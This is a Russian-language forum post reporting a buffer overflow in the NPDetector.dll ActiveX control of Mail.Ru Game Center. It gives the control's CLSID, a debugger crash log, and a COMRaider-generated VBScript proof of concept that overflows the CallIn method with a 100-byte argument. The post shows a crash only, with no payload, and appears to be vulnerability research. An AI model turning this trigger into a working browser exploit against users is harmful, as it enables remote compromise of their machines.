C:\DOCUME~1\9335~1\LOCALS~1\APPLIC~1\Mail.Ru\GAMECE~1\NPDETE~1.DLL переполнение происходит уже при 100 байтах <object classid='clsid:5A8FF410-F3CE-4844-B31B-F18D911239E8' id='target' /> кто захочет проверить --- добавлено: 4 янв 2014 в 18:34 --- логи Exception Code: 0x406D1388 Disasm: 7C812AEBPOP ESI(KERNEL32.dll) Seh Chain: -------------------------------------------------- 1B08C2BNPDetector.dll 2B08C4BNPDetector.dll 3B126DDNPDetector.dll 4B10A50NPDetector.dll 5B10A9ANPDetector.dll 6AE5BD4NPDetector.dll 77C839AC0KERNEL32.dll Called From Returns To -------------------------------------------------- KERNEL32.7C812AEB NPDetector.B08C21 NPDetector.B08C21 NPDetector.B12691 NPDetector.B12691 NPDetector.B10A46 NPDetector.B10A46 NPDetector.AE6222 NPDetector.AE6222 KERNEL32.7C80B713 Registers: -------------------------------------------------- EIP 7C812AEB -> 406D1388 EAX 0196FEB4 -> 406D1388 EBX 0182F48C -> Uni: TICClientThread ECX 00000000 EDX 0181290C -> Asc: TICClientThread EDI 0013D9C4 -> 7C91540B ESI 0196FF50 -> 0181290C EBP 0196FF04 -> 0196FF54 ESP 0196FEB0 -> 00000000 Block Disassembly: -------------------------------------------------- 7C812ADBLEA EDI,[EBP-3C] 7C812ADEREP MOVS DWORD PTR ES:[EDI],DWORD PTR [ESI] 7C812AE0POP EDI 7C812AE1LEA EAX,[EBP-50] 7C812AE4PUSH EAX 7C812AE5CALL [7C801510] 7C812AEBPOP ESI <--- CRASH 7C812AECLEAVE 7C812AEDRETN 10 7C812AF0TEST EDI,EDI 7C812AF2JLE 7C80BE2E 7C812AF8MOV EDX,[EBP-4] 7C812AFBMOV [EBP+C],EDX 7C812AFEMOVZX EDX,WORD PTR [ESI] 7C812B01MOV EDI,[EBP-8] ArgDump: -------------------------------------------------- EBP+8406D1388 EBP+1200000000 EBP+1600000004 EBP+200196FF40 -> 00001000 EBP+240196FF28 -> 0196FF5C EBP+2800B08C2B -> FDC9A0E9 Stack Dump: -------------------------------------------------- 196FEB0 00 00 00 00 88 13 6D 40 00 00 00 00 00 00 00 00 [......m.........] 196FEC0 EB 2A 81 7C 04 00 00 00 00 10 00 00 0C 29 81 01 [................] 196FED0 FF FF FF FF 00 00 00 00 8D 64 AE 00 00 00 00 00 [.........d......] 196FEE0 00 00 00 00 0F 00 00 00 0C 29 81 01 0F 00 00 00 [................] 196FEF0 0F 00 00 00 E3 04 00 00 1C FF 96 01 EC 66 AE 00 [.............f..] <?XML version='1.0' standalone='yes' ?> <package><job id='DoneInVBS' debug='false' error='true'> <object classid='clsid:5A8FF410-F3CE-4844-B31B-F18D911239E8' id='target' /> <script language='vbscript'> 'File Generated by COMRaider v0.0.133 'Wscript.echo typename(target) 'for debugging/custom prolog targetFile = "C:\DOCUME~1\9335~1\LOCALS~1\APPLIC~1\Mail.Ru\GAMECE~1\NPDETE~1.DLL" prototype = "Function CallIn ( ByVal Version As Long , ByVal DataType As String , ByVal Data As String ) As Long" memberName = "CallIn" progid = "NPDetector.GameCenterDetector" argCount = 3 arg1=1 arg2="defaultV" arg3=String(100, "A") target.CallIn arg1 ,arg2 ,arg3